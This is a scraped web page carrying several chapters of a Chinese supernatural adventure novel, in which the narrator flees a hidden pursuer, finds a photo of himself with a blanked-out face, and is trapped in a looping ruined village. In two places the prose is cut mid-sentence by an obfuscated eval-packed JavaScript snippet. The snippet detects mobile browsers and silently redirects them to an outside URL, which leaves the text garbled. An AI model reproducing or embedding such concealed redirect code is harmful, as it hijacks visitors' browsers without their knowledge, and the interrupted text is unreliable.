一想到这些,我就忍不住头疼,在这个地方找不到什么线索,那下一步又该怎么办? 现在想这些也没什么用,我们收拾了一下东西,按照我的判断,这片地下空间,应该是真没别的值得探索的地方了,现在除了原路返回,没有多余的选择。 三个人并排朝回走,玉芬就是那种没心没肺的人,在房子跟前的时候,怕的要死要活,等走出去一段路,距离房子远了,他就忘记了之前的紧张。 大甜瓜和玉芬差不多,她的脖子上也有红印,但很多事情,大甜瓜不知道,也没有亲眼目睹,她可能不清楚后果有多严重,一边走还一边在安慰开导我。 从这里走回到裂谷那座铁索桥,还得一天左右的时间,任重道远,我们就控制着速度,避免走的太快,导致体力流失。就这样走了差不多有一个来小时的时间,玉芬和大甜瓜没察觉到什么,可我总是感觉很膈应。 尽管我什么声音都没听到,但就是觉得在身后那片无尽的黑暗中,似乎有什么东西在无声无息的尾随。 我也说不清楚是怎么回事,反正来到王川山地下以后,我的感觉就很敏锐,而且感应到的情况基本都得到了印证。当这种被尾随的感觉出现之后,我不由自主的回了回头。 当我回头的那一瞬间,从身后的某个地方,顿时闪起了一道雪亮雪亮的光。那片光出现的非常突然,而且刺眼,晃的我的眼睛都睁不开。 光芒闪起的时候,我一下子就警觉了,可是,等雪亮的光消失了之后,身后的黑暗又趋于平静,依然寂静无声。 刚才我的眼睛被晃到了,那团雪亮的光究竟来自何处,我真的没看清楚,而且,玉芬和大甜瓜都背对着后方,他们肯定也没有看到。 为了节省点电池,三个人只有我手里的手电是亮着的,我感觉到了不安,随手就关掉手电。 一瞬间,周围陷入了彻底的黑暗中,任何东西都看不到。大甜瓜有点慌,我急忙拉住她的胳膊,小声说道:“别慌,也别出声!” 身后的光来自何处,我不清楚,但这应该是个危险的信号,脚下的路我们之前走过一次,我略微有一点印象。此时此刻,我不敢再打开手电了,避免成为显眼的目标。 我拉着大甜瓜,大甜瓜又拉着玉芬,三个人小心的在小路上摸索着前行,没有了光线,是坏事也是好事,我们看不到对方,对方肯定也看不到我们。 我们当初在裂谷那边的石壁处发现死狗的时候,大甜瓜也解释了原因,当时我就怀疑,这个地方可能还有别的人,只不过没发现什么蛛丝马迹。对方不露面,我们也找不到。 现在既然出现了情况,那就说明,很可能是隐藏的人要露头了。 三个人在黑暗中摸索,走的肯定不快,身后一直都保持着一片死寂,看不见东西,也听不到声音,那种感觉相当的难受。 就这样,我们一直摸索着走出去很远,这时候,我也失去了方向感,不知道具体走到了什么地方。周围的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408438|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地势比较复杂,时常都有沟沟坎坎,要是摔到几米深的沟里也很要命。 渐渐的,我们就举步维艰,无奈之下,我只能摸索着找到一堆乱石,然后带着他们两个悄悄的躲了起来。 我还是抱着之前的念头,现在反正谁也看不见谁,双方就是在互相硬撑,有一方撑不下去,必然要露面。 我小声的告诉他们俩,保持镇定,千万不要发出什么声响,暂时就躲在这里,看看情况再说。 这一等就是很长时间,最起码过去了有三四个小时,玉芬和大甜瓜都是闲不住的人,等了这么久,俩人有点受不了。 在我的坚持下,他们才强行忍耐下来。 但是,等的时间久了,我心里也没底,如果这里真的有外人,那么对方对这个地方的熟悉程度,肯定是要超过我们的,越是拖下去,对我们就越不利。 在忐忑不安中,我们差不多等了有十多个钟头,到了此刻,不仅玉芬和大甜瓜受不了了,就连我也受不了。 我最怕的就是这种无法猜测的危机,如果真有敌人,哪怕对方很厉害,至少也能跟他硬拼一拼。 我们不可能一直在这里守着,守的时间久了,给养消耗光,会死的更快。 我和玉芬还有大甜瓜都交代了一声,做好准备之后,玉芬打亮了手电,在前面开路,大甜瓜走中间,我负责断后,三个人加快速度,在暗色之中急速前行。 我们跑的很快,本来以为打开手电,就会吸引潜伏的敌人,不过一口气跑出去很远,周围似乎安然无恙。我也不管那么多,催着玉芬快跑。 等跑到实在没力气了,我们才放缓脚步,等到体力恢复一些,马上又开始狂奔。 就这样走走停停,又过去了好几个小时的时间,这片深邃的黑暗,始终风平浪静,再也没有发生任何意外。 可是,我的心一直都不得安宁,越是寂静,越是让人感觉诡异,总觉得会有什么事情突然发生。 第101章 有人找我 我觉得,老天爷似乎在有意戏耍我们,三个人一路上提心吊胆,马不停蹄的跑,除非是快累倒了,才会停下来休息一下,可是一直走回到铁索桥那边,竟然还是平安无事。 没有人尾随过来,期间也没有发生任何异样的情况。 “五满,会不会……”玉芬跑到铁索桥这里,体力已经严重透支,显得上气不接下气,他很疑惑的问道:“会不会当时你产生什么幻觉了?” “那么强烈的光,怎么会是幻觉?” “那肯定不是幻觉啊。”大甜瓜很确定的说道:“虽然我当时背对着后面,可那道光亮起来的时候,我也能感觉到。” “甜瓜姐,如果不是幻觉,咱们跑了这么远,怎么屁事都没有?” “哎呀,你是真的皮痒了?没事还不好?非得出点事,你心里才踏实么?” “好了,甜瓜姐,咱们也别争来争去的,这鬼地方我是一分钟也待不下去了,咱们先走吧。” 玉芬强撑着,又到前面去开路,走到铁索桥这里,回程的路就更加难走,三个人咬紧牙关,拖着疲惫的身躯拼命朝前赶。 情况就是这么吊诡,越是坐卧不安,反而越是一帆风顺,后面的路走的非常顺利,渐渐的,我们就接近了离开地洞的出口。 我很怀疑,暗中尾随我们的人一直不露面,是想把我们的体力给彻底拖垮。但是转念一想,对方似乎又没有必要这么费劲,我总是觉得,对方是个很厉害的人,真想对我们动手,不需要东绕西绕的兜圈子。 不管心里怎么想,现在肯定是要先出去了再说,我们一口气就回到了出口那边,玉芬钻出去之后左右看了看,外界估计是晚上九点多十点钟的样子,反正还是一片死寂,什么动静都没有。 我们依次钻出来,头顶的月光映照下来,可见度比地洞里强多了,玉芬马上关掉了手电,顺着脚下的路又走了两三公里。 到了这里,到处都是茂盛的植被,我们的体力也真的彻底耗尽了,感觉多走一步都走不动。玉芬在一片草窝子里找了个很隐蔽的地方,就地一躺,大口大口的喘着气。 现在不能再继续朝前走了,否则真遇到情况,三个体力透支的人会非常被动,无论如何都要休整一下。尽管我也疲惫不堪,但关键时刻还是得撑着,我让玉芬和大甜瓜先休息,我在旁边守夜。 人累到极点的时候,入睡很快,玉芬和大甜瓜一躺下,几乎不到两分钟时间就都睡过去了。我使劲揉了揉眼皮子,想要点一根烟解解乏,又害怕火柴的光亮会暴露自己,无奈之下,我只能把烟丝丢在嘴里,慢慢的咀嚼。 烟丝辛辣的气息刺激着嘴巴,似乎精神了一点,可我没坚持多久,就又困的不行,要死要活的强撑了大概有两个小时左右,实在是撑不住了,我就过去把玉芬给推醒。 玉芬显然睡的昏天暗地,被我拉起来之后,才勉强睁开眼睛。 “你来守一会儿,我是真顶不住了。” “没问题……”玉芬打了个哈欠,晕头晕脑的爬了起来。 我在草丛里躺下,身体一沾地,马上就睡着了。 我很累,按道理说,在这样的情况下,至少要睡好几个小时。我感觉自己可能就睡了最多三四十分钟,突然就觉得有人在使劲拍我。 从睡梦中被人给惊醒,是件很让人恼火的事情,我勉强睁开酸涩的双眼,一下就看到大甜瓜不知道什么时候醒了,正在我身边拍我。 我微微转了一下头,就看见玉芬坐在不远的地方,双手抱着膝盖,耷拉着脑袋睡的正香。这家伙真的不靠谱,守夜也能睡过去。 “怎么……怎么了?” 我被大甜瓜叫醒,瞌睡劲好像过去了,但脑袋晕沉沉的,非常难受。 “肯定有事,没事怎么会叫醒你……” “啥事?” “有人找你……” “有人找我?” 大甜瓜的话让我猛然打了个冷战,这地方只有我们三个人,我不知道谁会找我。 “我刚才在睡觉,就听见有人在身边说话,等我醒过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408439|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,那人又不见了,我觉得,他肯定是在那边……”大甜瓜伸手朝着小路的对面指了指,说道:“他在那边,是来找你的……” 小路的对面,也是一片很茂盛的草木,就算大白天都不可能看的那么透彻,更不要说在光线暗淡的夜晚。 我不由自主的看了看大甜瓜,她的样子似睡非睡,又似醒非醒,就好像人在极度的困顿中突然犯癔症一样。 此时此刻,我心里已经很清楚了,大甜瓜是什么状态,不重要,重要的是情况肯定不正常。 “去吧,他就在那边……”大甜瓜又一次伸手朝那边指了指。 我拿起身边的钢钎,慢慢的站起身,等到经过玉芬身边的时候,把他也给拍醒,玉芬睡的糊里糊涂,这次醒过来之后,好像还很不好意思。 “五满,对不住……太困了,不小心睡过去了,你接着睡吧,我来守夜……” “先别守夜了,照看好大甜瓜。” “怎么了?” 我一边注视着小路对面茂盛的草木,一边简短的把情况跟玉芬说了一遍。玉芬一听出事了,强打精神也站了起来。 我很清楚,现在绝对不是人多就能解决问题,对方既然指名道姓的喊我过去,那就是躲不过的。 我让玉芬留下来,自己一步一步走过了小路,等我走到那片草木跟前的时候,立刻就发现,茂盛的草丛之间,被人踩出了一条小路。 我拿着钢钎,一步一步的继续前进,顺着草丛留下的痕迹朝里面走,小路大体保持着正直,顺着小路走了大概有三四十米左右,前面的植被就稀疏了很多。 当我走到这儿,脑子一下子就彻底的清醒了。 此时此刻,我所处的位置大概就在风水地附近那个被荒废的小村周围,只要抬头一望,就能望到那座已经破败已久的观听塔。 那座观听塔,我们第一次来到这里的时候就勘察过,里面是一堆长着绿毛的烂骨头。 可是,脚下的那条小路,明显就是直通到观听塔跟前的。 第102章 脚印迷踪 我之前对观听塔这东西并不感冒,觉得还是传闻的邪乎,实际没什么大不了的。但就是在风水地下的空间遇见另一座观听塔时,遇到了点很离谱的事,所以看见脚下那条刚刚被人踩出的小路延伸到了观听塔,我就忍不住有些担忧。 这里的观听塔,上一次就被我们给拆了一半儿,如今只剩下残缺不全的半截子塔身。我心里仍然是那个想法,既然事情找上门了,无论福祸,都无法逃避。 我又朝前面慢慢走了两步,距离残缺的观听塔大概只剩下七八米远,这时候,我就察觉到了一点不太正常的情况。 今天是晴天,头顶的月光明亮,虽然是在夜里,但大概的情景还可以看清楚。 然而,一走到残缺的观听塔这里,视线明显受到了阻碍,就仿佛有一团雾气,无声无息的笼zhao着残塔,不管怎么全神贯注的看,仍旧模模糊糊的。 当初拆掉这座观听塔的时候,里面的尸体连骨头都糟了,这么长时间过去,观听塔里面肯定还是一堆烂骨头,上一次,铁拐李也说过,就凭那堆烂骨头,绝对翻不起什么浪花。 真实情况和常理有悖,这就很值得注意,我停下脚步,暂时不敢再朝前走。 残缺的观听塔寂静无声,越看越让人感觉心里没底,我确实不太敢冒险了,玉芬和大甜瓜都在后面,真出了什么麻烦,他们自己都自身难保,更不要说来给我帮忙。 就这样,我在原地站了三四分钟,还是没做好打算,该不该继续朝前走。 嗖!!! 突然间,从残破的观听塔里,一下子飞出来了什么东西,那东西像是一页纸,飘飞出来之后,在半空打着转,稳稳的飘到了我的面前。 我不敢直接伸手去碰,那东西到了跟前,就轻飘飘的落到了地上。 脚下的情景,我还是能看清楚的,那东西一落下,我就看见那是一张照片。 我忍不住皱了皱眉头,心里的感觉又是恼火又是恐慌,这已经不是观听塔第一次飘出来照片了。 我蹲下来看了看,这一眼看过去,心中的恼火,一下子就变成了无边无际的惊恐。 照片的背景黑乎乎的一团,拍照的时候肯定用了闪光灯。 照片里有三个人,那三个人,赫然就是我和玉芬还有大甜瓜。 玉芬和大甜瓜两个人都背对着镜头,只有我一个人转过了身,如此一来,我立刻就回想起在回程的路上,那一道突如其来的亮光。 那亮光,原来就是闪光灯的光芒。 更让我触目惊心的是,我的脸庞,在照片里已经非常模糊,看上去好像鼻子眼睛嘴巴都没有了,整张脸变成了一片空白。 这样的情景,我之前就见过,那两个很多年前在王川山采药的人临死前几天,都拍过照片,而且在照片里,他们的脸也变成一片空白,没有了五官。 更要命的是,这好像是一个死亡的征兆,只要脸庞在照片里没有五官,过不了多久就会死。 我的脖子上本来就有红印,而且我也不像师傅和毛叔那样,能找到缓解的办法,一看见这张照片,我就炸毛了,不由自主的低声喝道:“谁!出来!” 没有人回应,我三步并作两步冲到了残缺的观听塔跟前,朝里面一看,就和我想的一样,观听塔内部只有那一堆被裹在稻草里的烂骨头。 这一次,我是无论如何都无法淡定了,我不相信这堆烂骨头能扔出来一张照片。 我在观听塔四周来回的找,但是观听塔周围没有任何值得怀疑的痕迹,如果真的有人的话,至少也应该留下脚印。 我的脑袋一个劲儿的在发胀,尽管心里还是惊恐,可如今已经性命攸关,反正横竖都是个死,也就没什么好怕的。 今年的天气多雨,前些日子,王川山这里接二连三的降雨,观听塔周围的泥土总体很湿润,如果有人靠近了这里,不可能什么痕迹都不留下。我强行让自己镇定下来,然后仔细的寻找着。 等我找到观听塔后方大概十米远的时候,立刻就发现了一行很不起眼的脚印。行走在这里的人,肯定尽力避免遗留线索,但地面太潮湿了,行走到这里,那人就无法把行踪掩饰的完美无缺。 或许是我在这里逗留的时间有点久,而且情况本身就不正常,玉芬和大甜瓜在那边很担心,顺着小路跑了过来。我回头让他们别靠近,俩人就知道我一定是发现了什么,神情显得更加紧张。 地面上断断续续的脚印,隐约指明了那个人行走的方向,我顺着脚印不断的朝前走,因为观听塔距离之前那个小荒村的遗址不远,渐渐的,脚印就延伸到了遗址里面。 我在前面走,玉芬和大甜瓜就顺着小路跟随过来,小荒村的遗址已经非常残破,东倒西歪的房屋爬满了植被,几乎都被荒草淹没,那一行脚印进入遗址,就再也难寻踪迹。 我没有再大喊大叫,对方这么鬼鬼祟祟的,就是不想让我发现。 可是,对方这么做,究竟有什么意图?难道就是为了让我看看那张照片,给我带来巨大的心理负担? 我觉得事情肯定不会这么简单。 这个小村的遗址,我们上次来的时候也简单勘察过,没发现什么,现在慢慢穿行在遗址里面,我的心情始终很紧张,玉芬和大甜瓜还是怕我出事,远远的跟在身后。 小村的遗址不算很大,用不了多久就可以走过去,我一直都在被植被淹没的小路上寻找痕迹,十来分钟之后,半空像是有一片云层飘了过来,遮挡住了月光,四下里猛然一黑,光线顿时暗淡了许多。 我知道,这样的云层不会停留太久,很快就会缓缓飘走,所以也没有怎么在意。 可是,过了几分钟,我察觉到周围的暗淡一点都没有变化,不由自主的抬头朝半空看了看。 我没有看到月亮,头顶似乎扣着一口大铁锅,黑压压的一片,只有极其暗淡的光,从上方透射下来。 第103章 走不出的怪圈 这种暗淡的天色,显得尤为反常,我之前的注意力一直都集中在地面上的脚印,这时候感觉不对劲,急忙就朝四周看了看。 果然,等视线望向附近的时候,光线更显得暗淡,一团一团房屋倒塌之后的废墟,朦胧中就好像一个一个长满了荒草的坟头。 我回头朝着玉芬和大甜瓜望去,但脊背上立刻冒出一层冷汗,身后只有一片无尽的暗淡夜色,玉芬和大甜瓜的身影,不知道什么时候无影无踪了。 “玉芬!甜瓜姐!” 我赶紧喊了一声,我们刚才相隔的距离并不远,喊叫声肯定能被对方听到,但玉芬和大甜瓜并没有传来什么回应,我的心就更慌了。 我连着喊了几声,还是没听到玉芬的回答,到了这一步,连我自己都说不清楚,究竟是怎么回事。 我立刻调转方向,想先从废墟里面走出来,因为心急,又担心玉芬他们俩,我走的很快,一边走,我一边在琢磨着可能发生的情况,以便提前做好应对措施。 这一口气就走出去很远,走着走着,我又停下了脚步。 按照我的速度,这一口气走下来,肯定已经从废墟间走出来了,然而,我停下脚步的时候,却发现自己好像还深陷在这片荒村的废墟之中。 更关键的是,我旁边是一座已经坍塌了许久的小房子,除了乱七八糟的杂草之外,坍塌的小房子上面,有一棵小小的香椿树。 看到这棵小树,一种不祥的预感就袭上心头。 我刚才虽然注意力不集中,但对这棵小树有印象,我记得自己就是从这里转身朝外面走的。 我可以肯定,我走的基本是一条直线,可走了这么久,又回到了这棵小树附近,这说明什么? 这只能说明,我在废墟里面绕了个圈子,从起/点又回到了起/点。 我伸手就从怀里取出一个指南针,这是从别人手里淘换来的二手货,据说是地质队以前用过的,质量很好,虽然旧了点,但肯定没问题。 先前在地洞里走了那么久,不止一次的用过指南针,很可靠。我拿着指南针,接着又从这个地方正直的走出一条直线,有指南针作为标识,我觉得路线不会出现偏差。 这一次,我又走了大概有十多分钟左右,因为光线暗淡,稍远 一些的情景就看的不是太清楚了,但心里那种不妙的感觉,依然存在。因为我确认自己是跟着指南针的方向走出了一条笔直的路线,可十多分钟下来,我竟然又走到了那棵小树的旁边。 我的脑袋嗡的一下就大了,前后两次试探,最终都是同样的结果,我想不出别的理由,唯一的解释就是,我在这片废墟里迷失了方向。 我低下头看了看,地面上留下了我刚才行走过的脚印,这一次我加了一百分的小心,一边盯着指南针,一边不断的看着自己先前留下的那些脚印,一路走了过去。 每走出一段,我就会回头看看自己的脚印,脚印的方向基本是一条直线,就这样走一段,停下来看看,过去了十多分钟,等我再次抬起头的时候,就感觉脚底板一个劲儿的朝上冒寒气。 真的是活见鬼了! 那棵小树,又出现了视线中,这一次和前两次一模一样,走了那么久,最后还是绕了个圈子,回到了原地。 情况一下子变的糟糕透顶,不仅玉芬和大甜瓜不见了,就连我自己,也陷入到了这个走不出去的怪圈里。 此时此刻,没有人能帮我,可以依靠的只有自己,我静下心,把刚才三次的经历仔细的回想了一遍,却始终察觉不出任何破绽。 没有破绽,但是又一而再再而三的兜圈子,这不免让我忧心忡忡。我到这边来的时候,根本没想到会发生这种情况,随身只带着一根钢钎和手电筒,食物还有水,都留在了那边。 要是被困的时间太久了,没有食物和水的补充,自己就会把自己拖垮。 这是不是鬼打墙? 我以前没有遇见过鬼打墙,但是相关的传闻,听了不止一次。无论是师傅,还是毛叔,或者以前接触过的几个白八门的人,他们半辈子都在跟死人,跟神神鬼鬼的玩意儿打交道,对于这方面的见识,远比普通人多的多。 师傅和我闲谈的时候,说过鬼打墙。这东西对于一般人而言,好像非常的神秘诡异,但对于行家来说,实在算不上什么至高的秘术。鬼打墙的本质,其实就是比较上乘的障眼法。 无论是有道行的人,或者是传说中的妖仙,都可以运用自己的秘术,给人构造出几乎没有破绽的障眼法。被鬼打墙困住的人,其实一直都留在原地,周围的环境根本没有任何变化,只是因为自己的视线甚至感知被影响了,才会产生一系列的错觉,导致走不出去。 师傅和我讲述这些的时候,还专门说了破解鬼打墙的办法,师傅说,如果最高明的人施展最高明的障眼法,可以困住任何人,但唯独困不住瞎子。 瞎子本身就什么也看不见,所以障眼法对他是没用的,因此,破解鬼打墙最简单直接有效的办法,就是闭着眼睛,靠感觉走一条直线,只要不出意外,肯定可以走出困境。 因为以前没有相应的经历,所以我也不能确定现在遇见的是不是鬼打墙,但按照实际情况来看,多半应该是。我急于从这儿走出去,立刻做了做准备,用手里的钢钎探路,然后选好出发的地点,摆正了方向之后,紧闭着双眼,开始摸索前行。 我不知道是不是巧合,刚刚走出去大概有十来步,废墟这边似乎是起风了,呜呜作响的夜风从身边吹过,又卷动着周围的草木,发出一阵一阵沙沙的响声。 这样的响声听起来很复杂,好像有什么东西在草丛里慢慢的爬,又像是有人捂着嘴巴在小声的哭泣,总之让人听了就浑身汗毛直立。 但我没有睁眼,师傅说过,破解鬼打墙,只要闭上眼睛,中途就不能睁开,否则会前功尽弃。 我强忍着心中的不适,始终没有睁开眼睛。 人摸索着行走,速度肯定会慢,按照我推算的路程,就算走的慢,十五分钟左右,应该足够走出来了。 我掐着时间,觉得差不多了,这才停下脚步,跟着慢慢睁开了双眼。 第104章 小东西 当我睁开眼睛的那一瞬间,心里就恨不得要骂娘。 那棵小树,就在身边不远处随着风轻轻的左右摇晃,我闭着眼睛走了这么久,最后仍然是回到了原地。 难道真的是见鬼了? 通过这一次的尝试,连鬼打墙的嫌疑都基本上被排除了,我根本就想象不出来,到底是什么原因,能把人毫无端倪的给困在一片范围并不算大的废墟里。 是这片废墟有什么问题? 我开始关注周围那些东倒西歪的房子,而且观察的很仔细,这个村子和当年被灭门的村子不一样,这村子的人是集体搬迁的,所以家家户户把所有能用的东西都给带走了,只留下空荡荡的房屋。 房屋一倒塌,除了土砖和木头之类的建筑材料,再也没有别的神什么玩意儿。 我把倒塌的房子也检视了一遍,心也越来越凉,我并不害怕遇见什么困境,王川山本身就是个闹鬼的地方,可我害怕的是,困境没有丝毫的破绽可寻。 我还是不肯就这样放弃,如果放弃了,更是死路一条。 我开始变着法子从这里往外走,把能想到的办法都用上了,又前后试探了三次,每一次的结果都像是被提前算计过的一样,毫无差错,不管我怎么走,十多分钟以后,总还是要走到那棵小树跟前。 自然而然的,我又怀疑那棵小树是不是有什么毛病,我用钢钎挖土,一直挖到很深,把小树连根都给挖了出来,结果却什么也没有挖到。 这棵小树还是一个显眼的标记,暂时不能丢下不管,我把小树重新栽回去,感觉身心俱疲。 我本来就很累,刚才也只是睡了一小会儿,就被大甜瓜给喊醒了,这时候一坐下来,整个人就像是要虚脱一般。 在这个节骨眼上,本来是完全不可能入睡的,但我就好像着了魔一样,全然抵挡不住疲惫,坐下来大概几分钟时间,竟然无声无息的睡了过去。 我睡着以后,周围还是保持着安静,我也没有做什么梦,过了不知道多长时间,我苏醒了过来,我可以肯定,这一次是自然醒来的,等醒来以后,精神是好了一些,但头顶的天空仍然像是倒扣着一口大黑锅。 我站起身,决定再尝试一下,其实,我的耐心已经在之前的焦灼和不安中被消耗的差不多了,现在只是耐着性子想要寻找一条出路。 奇迹并没有发生,这一次尝试之后,不出意外,我又兜了一个圈子,走回到了那棵小树旁边。 我心中的恼火,已经压制不住了,抓着钢钎在周围狠狠的抡了几下。 身前的荒草被抡倒了一大片,就在我恼羞成怒的那一刻,突然隐隐约约就看到倒下来的荒草下,趴着一小团毛茸茸的玩意儿。 那东西是黄褐色的,跟荒草周围的土壤差不多一样的颜色,它只有成年人的巴掌大小,看起来像是田鼠,但是比田鼠的脑袋大,长相憨憨的。 这小东西似乎并不怕我,趴在那里,抬头看着我,黑乌乌的眼珠子亮晶晶的。 小东西慢慢从荒草中爬出来,它的身躯圆滚滚的,像是一个毛茸茸的球,在我脚下绕了一圈,然后朝前爬了几下,又跑回来在我脚下绕了两圈,如此反复了三次,我猛然间意识到,这小东西似乎是在给我传递一个信息。 它能带我从这里走出去,它也愿意带我从这里走出去。 我没有犹豫,这小东西的来历,我根本就不清楚,但我觉得,自己现在的情况已经糟糕到了极点,如果小东西的出现是个圈套的话,那么设下这个圈套的人,简直是多此一举。 就如同一个穷光蛋,别人再怎么缺心眼,也不可能合伙来骗他的钱。 我很快就做好了决定,跟着那小东西爬动的方向迈出去了一步,小东西肯定有灵性,看见我开始跟着它走,小东西就耸动着圆滚滚的身躯,在前面带路。 小东西在前面爬动着,过了有差不多五分钟时间,我心里真的升腾起了一片希望,我觉得它应该可以把我给带出去。 就在这时候,一直在爬动的小东西突然停了下来,扭着脑袋朝左右看了看,它的身躯哆嗦了一下,就仿佛一个人突然感应到了什么可怕的东西,打了个冷战。 我也跟着停下了脚步,还没搞清楚究竟怎么回事,小东西的身躯突然一颤,紧跟着就裂成了两半。 一股鲜血从它裂开的身躯飚飞出来,小东西的身体断成了两半,但是两只前爪还是在拼命的朝前爬动,只不过,它不可能活下去了,勉强挣扎着爬出去两下,前爪轻轻一抽搐,接着就不动弹了。 如果不是小东西流出来的血映入眼帘,我甚至会觉得自己此刻是在做梦。等我回过神,朝着四周张望的时候,却什么都没有看到。 我蹲下来看了看,那小东西的确死透了,它的身躯,像是被什么极为锋利的东西一划而过,直接就划成了两段。 是什么东西把这个毛茸茸的小玩意儿给弄死了,我不知道,也猜不出来,但是有一点可以肯定,这小东西的确是想把我从这片困境中给带出去的,可惜的是,有人不许它这么做。 这是一个细节,但同时也是一条很重要的线索,我不由自主的在暗中关注着周围的动静,这片废墟里,看不到半个人影,然而,这个毛茸茸的小东西一出现,其实就意味着,在这片废墟周围,至少有两股对立的力量。 其中一股力量,想把困在这儿,而另一股力量,则想把我给带出去。 第105章 救命纸条 我的处境愈发的不好,我没想到,本来看似许久无人涉足的王川山,竟然隐藏着不止一股势力。 那个毛茸茸的小东西完全死透了,我现在暂时分辨不出,隐藏的两股力量各自在什么地方,但根据实际情况来看,至少有一方还是想要帮我的。 我想了想,自己身处这里,一举一动或许都在别人的注视之下,虽然知道走不出去,可是我也不想让对方感觉那么轻松。我走了十来米远,闪身就躲到了一片茂密的草丛里。 我在草丛中慢慢的移动,不管能不能摆脱隐藏者的注视,最起码也要尽力的躲起来。 过了有几分钟时间,我从草丛移动到了一处坍塌的房屋附近,屋子的一面墙壁已经完全裂开了,我顺着缺口钻到屋里,在这个地方至少隐蔽一些。 等钻进去之后,我开始从犄角旮旯的缝隙间朝外面悄悄的注视,但是,茂密的植被严重遮挡了视线,再加上光线非常暗淡,实在是看不清楚。 我轻轻的靠着墙坐下来,在寻找对策,被困了这么久,我有些口渴,现在还能坚持住,但时间长了肯定不行。 可我想了半天,还是无计可施,根本无法从这个鬼地方绕出去。再加上玉芬和大甜瓜下落不明,生死未卜,我心头的压力越来越大。 就在这时候,我听到了一阵很轻很轻的声音,周围这么安静,声音一传出来,我就分辨出了来源。但我躲在这儿不敢打开手电,一团昏沉之中,我使劲望着声音传出的方向,暂时也看不清楚是怎么回事。 很快,沙沙的轻响就在朝我这边移动,我浑身汗毛直立,忍不住扶着墙壁站起身,握紧了手中的钢钎。 当那阵很轻的沙沙声距离拉近了些,我终于模模糊糊看到,那又是一团毛茸茸的小东西。 我的头皮顿时一麻,那团毛茸茸的小东西已经被劈成了两段,这时候怎么又完好无损的爬到了屋子的废墟里面? 见鬼的事情一桩接着一桩,很让人头疼,我还不知道接下来该怎么办,那团毛茸茸的小东西,就停了下来。 我感觉不到什么危险的气息,这小东西似乎也没有敌意,等它停下之后,我又眯着眼睛看了看,渐渐的就分辨出来,眼前的小东西,不是先前那一只。 这只小东西的身形长相,和之前那一只没有什么区别,用肉眼很难辨别它们的不同之处。但是,眼前这一只的脑袋上面,有一缕发白的毛,这就是个很显眼的标记。 我慢慢放下了手中的钢钎,这玩意儿肯定是有灵性的,觉得我放下戒备,它才一点一点的来到我脚下,滴溜溜的转了一圈之后,从嘴里吐出来一小团东西。 紧接着,这小玩意儿调转方向,小心翼翼的爬了回去,很快就消失在了视线中。 如此一来,我就明白了,这小玩意儿悄悄的出现,就是为了给我送东西的。 我蹲下来,用钢钎把地上的东西扒拉了一下,这东西很小,看上去就像是一个微型的小玻璃瓶,瓶子的外面还裹着一层纸。 确定这个小瓶子没什么问题,我才捡了起来。裹在瓶子外面的那张小纸条,隐约有字迹。 把纸条打开之后,我看到上面写着:按原来的路走,五分钟以后把瓶子里的东西抹在眼睛上。 看到纸条上的字,我心里顿时一动,这是一个很明显的指示。我不知道写纸条的人是谁,但有一点可以确认,这人肯定是那两只小东西的主人,对方本来就是想把我给弄出去的,只不过第一只小东西死了,他才重新想出了这个办法。 我已经被困的头晕脑胀,忧心忡忡,现在看到有一线希望,立刻就振奋起来。 小小的玻璃瓶里,有一点透明的如同水一样的东西,我拿着瓶子,从废墟中钻出来,很快就走到了小路上。 之前几次,我都是顺着这条小路走的,每次都兜一个大圈子,然后回到原地。我心里多少有点膈应,慢慢的迈动脚步,还是按照比较正直的路线,一路朝前走去。 我心里暗暗的计算着时间,大概四五分钟之后,我悄悄的把玻璃瓶子里的东西,抹在了双眼的眼皮子上。 这东西无色无味,抹在眼睛上之后,视线有一点模糊,但是并没有其它不良的反应。 紧跟着,视线越来越模糊,眼前的情景朦朦胧胧的,就好像高度散光的人突然摘掉了眼镜一样。虽然我不怎么怀疑暗中帮我的人,可毕竟眼睛太重要了,我心里不免有些发慌。 不过,两三分钟之后,模糊的视线随即就开始逐渐的清晰,到了最后,已经完全没有任何的影响。 当视线清晰的那一瞬间,我心里顿时涌动起了一阵难以形容的诧异。 我看到自己前面大概五米左右,有一个人,那个人虽然背对着我,可我还是能认出来,是大甜瓜。 大甜瓜站在离我这么近的地方,我竟然看不到?她整个人就好像透明了一样,如果不是我眼睛上抹了东西,这时候还是被蒙在鼓里。 眼前的情景,完全超出了我的认知,我搞不明白,那么大一个大活人是怎么隐身的。 但是,我强忍住了心里的疑惑,没有出声,大甜瓜肯定不是正常的状态,如果我现在出声喊她,一定会引起隐藏者的怀疑。 随即,我心里的诧异又一次达到了顶点。我能看到,大甜瓜的后脑勺上绑着一根绳子,估计是她的眼睛被蒙住了,这还不是关键问题,更要命的是,我看到大甜瓜的身躯,就好像一只轻飘飘的皮影,正在轻轻的左右摆动。 我站着没动,大甜瓜也没动,我不想引起隐藏者的怀疑,总是滞留在这个地方,时间久了,对方一定能察觉出异常。 我朝前迈了一步,谁知道,当我迈步的那一刻,大甜瓜也朝前迈了一步,她迈动脚步的频率,跟我一模一样。 我跟着又走了一步,大甜瓜毫无例外的也走了一步,看到这里,我就明白了,我动,大甜瓜也动,我走的快,大甜瓜也走的快,这就意味着,不管我怎么走,始终都会和大甜瓜保持着五米左右的距离。 第106章 无形杀机 我有种感觉,我被困在这个地方走不出来,一定和大甜瓜有关,但具体是什么情况,暂时还不清楚,我不动声色,接着继续朝前走。 